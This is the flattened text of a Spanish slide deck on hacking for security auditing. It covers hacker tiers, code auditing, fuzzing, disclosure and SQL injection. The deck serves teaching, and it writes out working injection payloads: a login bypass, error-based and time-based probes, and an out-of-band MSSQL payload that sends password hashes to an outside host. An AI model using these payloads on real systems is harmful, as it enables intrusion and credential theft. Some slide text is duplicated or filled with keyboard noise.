HACKING PARA AUDITORIA Contenido Hackers?? O Crackers?? Auditoria de Código Binario SQL Injection Web Application Hacking Hackers?? O Crackers?? Acceden a un sistema por canales no autorizados Cracker Mala onda Hacker -> Buena onda •Administradores de Sistemas •Conocimientos Solidos • Dependen de otras Personas FIRSTFIRSTTIER SECOND - TIER THIRD - TIER OCI SO Vulnerabilidades Habilidades y Conocimientos Especiales Hackers?? O Crackers?? Acceden a un sistema por canales no autorizados Hacker -> Buena onda •Administradores de Sistemas •Conocimientos Solidos • Dependen de otras Personas FIRSTFIRSTTIER SECOND - TIER THIRD - TIER • Cualquier persona • Usan mayormente Scripts o programas • Amenaza • Participan en foros TITULO:: TITULO 01100001 01110101 01100100 01101001 01110100 01101111 01110010 01101001 01100001 00100000 01100100 01100101 00100000 01100011 01101111 01100100 01101001 01100111 01101111 00100000 01100010 01101001 01101110 01100001 01110010 01101001 01101111 00100000 01101111 00100000 01100011 01101111 01100100 01101001 01100111 01101111 00100000 01100110 01110101 01100101 01101110 01110100 01100101 O SEA… AUDITORIA DE CODIGO BINARIO O CODIGO FUENTE AUDITORIA DE CODIGO BINARIO Descubrir, explotar y/o arreglar vulnerabilidades Proteger programas Vulnerabilidades - Tecnicas Buscando patrones comunes vulnerables por azar: un blue screenes un accidente feliz... A;asmdnfasdjfn9834534fjejhpreiuthewrpufrehgpi wuerghewpriuA;asmdnfasdjfn9834534fjejhpreiuth ewrpufrehgpiwuerghewpriugherwrpiugwerg A;asmdnfasdjfn9834534fjejhpreiuthewrpufrehgpi wuerghewpriugherwrpiugwerg A;asmdnfasdjfn9834534fjejhpreiuthewrpufrehgpi wuerghewpriugherwrpiugwerg gherwrpiugwerg Aprovechando una nueva vulnerabilidad desde otra aplicación Nuevas técnicas, nuevas ideas (inspiración) Manipulando las posibles entradas del programa Vulnerabilidades - Tecnicas Con acceso al código fuente auditoria de código buscar patrones de vulnerabilidades conocidas hacer una búsqueda exhaustiva del código por patrones sospechosos Vulnerabilidades - Tecnicas Sin acceso al código fuente dar input al azar ó con forma sospechosa usar un fuzzer ingeniería inversa para entender como funciona (si esta disponible el binario) herramientas: desensambladores, debuggers, … Proceso de reporte de vulnerabilidades Descubrimiento Investigación y Documentación Notificación Desarrollo de la soluci solución ón Lanzamiento SQL Injection SQL Injection Básico AUTENTIFICACION DEL SISTEMA USUARIO: ‘ or 1=1; -- CONTRASEÑA: cualquier_cosa ENTRAR SQL Injection Básico $user = “ „ or 1=1; -- ”; $pass = “cualquier_cosa”; $sql = “select * from usuarios where user = „$user‟ and password = „$pass‟”; $sql = “select * from usuarios where user = „„ or 1=1; -- ‟ and password = „cualquier_cosa ‟”; SQL Injection Tres clases de SQL injection: In band: Los datos son extraidos por el mismo canal por donde se realizo la inyeccion SQL. Out of Band: Los datos son recibidos por un canal diferente (un correo con los resultados y enviados al intruso) Inferential: Sin transferencia de datos, pero el auditor puede reconstruir informacion observando el comportamiento de la aplicacion In band http://[website]/page.asp?id=1 or convert(int,(USER)) -- Out of Band http://[website]/page.asp?id=1;declare @host varchar(800); select @host = name + ‘ - ’+ master.sys.fn_varbintohexstr(password_hash) + ‘2.servidor.com’ from sys.sql_logins; exec(‘xp_fileexist ‘’\\’ + @host + ‘\c$\boot.ini’’’); -Para obtener datos fuera del servidor Inferential http://[website]/page.asp?id=1; if+not(select+system_user)+<>+’sa’+w aitfor+delay+’0:0:10’ – Se verifica si se esta corriendo como ‘sa’ FUENTE: Ethical Hacking Conference 2009 www.ehacking.com.bo Seguridad en Software Libre Carlos Sarraute–ArielFutoransky 7 junio 2005 Hack I.T.: Security Through Penetration Testing T. J. Klevinsky Scott Laliberte Ajay Gupta Publisher: Addison Wesley First Edition February 01, 2002 ISBN: 0-201-71956-8, 544 pages PREGUNTAS ¿Qué medidas se pueden aplicar para evitar intrusiones y asi proteger la información? ¿Qué otros métodos se pueden usar para hackear aplicaciones web?